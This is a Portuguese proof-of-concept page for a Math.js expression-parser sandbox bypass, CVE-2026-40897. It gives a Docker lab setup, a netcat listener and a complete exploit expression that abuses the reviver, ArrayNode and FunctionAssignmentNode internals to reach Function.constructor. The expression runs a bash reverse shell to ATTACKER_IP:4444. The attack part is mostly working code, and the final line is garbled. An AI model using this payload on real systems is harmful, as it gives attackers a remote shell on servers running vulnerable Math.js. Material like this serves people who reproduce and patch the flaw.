
RCE no Analisador de Expressões do Math.js
★ CVE-2026-40897 Prova de Conceito de Execução Remota de Código no Math.js ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 é uma vulnerabilidade de Bypass de Sandbox que leva à Execução Remota de Código no interpretador de expressões do Math.js. O filtro
isSafePropertyverifica apenas o acesso a propriedades em expressões de usuário, não em caminhos internos de código. Ao vazar o array interno deArrayNodeviatoJSON()e sobrescrever seu.map, um atacante pode forçar o código interno a acessarFunction.constructore executar JavaScript arbitrário.
| Categoria | Versão |
|---|---|
| Vulnerável | Math.js 13.1.1 ≤ versão ≤ 15.1.1 |
| Corrigida | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Após iniciar o ambiente vulnerável, siga as etapas abaixo para reproduzir o ataque.
nc -lvnp 4444
Envie a seguinte expressão para math.evaluate (por exemplo, pela entrada de cálculo da aplicação).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
O servidor-alvo conecta-se de volta ao listener do atacante, concedendo um shell bash interativo.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) por meio do interpretador de expressões